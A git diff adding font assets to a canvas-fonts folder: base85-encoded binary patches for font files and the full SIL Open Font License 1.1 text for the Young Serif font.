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 T2VZ{M#qTJE@s01h>~{YK&lW|r literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/YoungSerif-OFL.txt b/skills/frontend-dev/canvas-fonts/YoungSerif-OFL.txt new file mode 100644 index 0000000..f09443c --- /dev/null +++ b/skills/frontend-dev/canvas-fonts/YoungSerif-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2023 The Young Serif Project Authors (https://github.com/noirblancrouge/YoungSerif) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/frontend-dev/canvas-fonts/YoungSerif-Regular.ttf b/skills/frontend-dev/canvas-fonts/YoungSerif-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..f454fbedd4c8b00833d17fffa1f89acb5149b02c GIT binary patch literal 105136 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 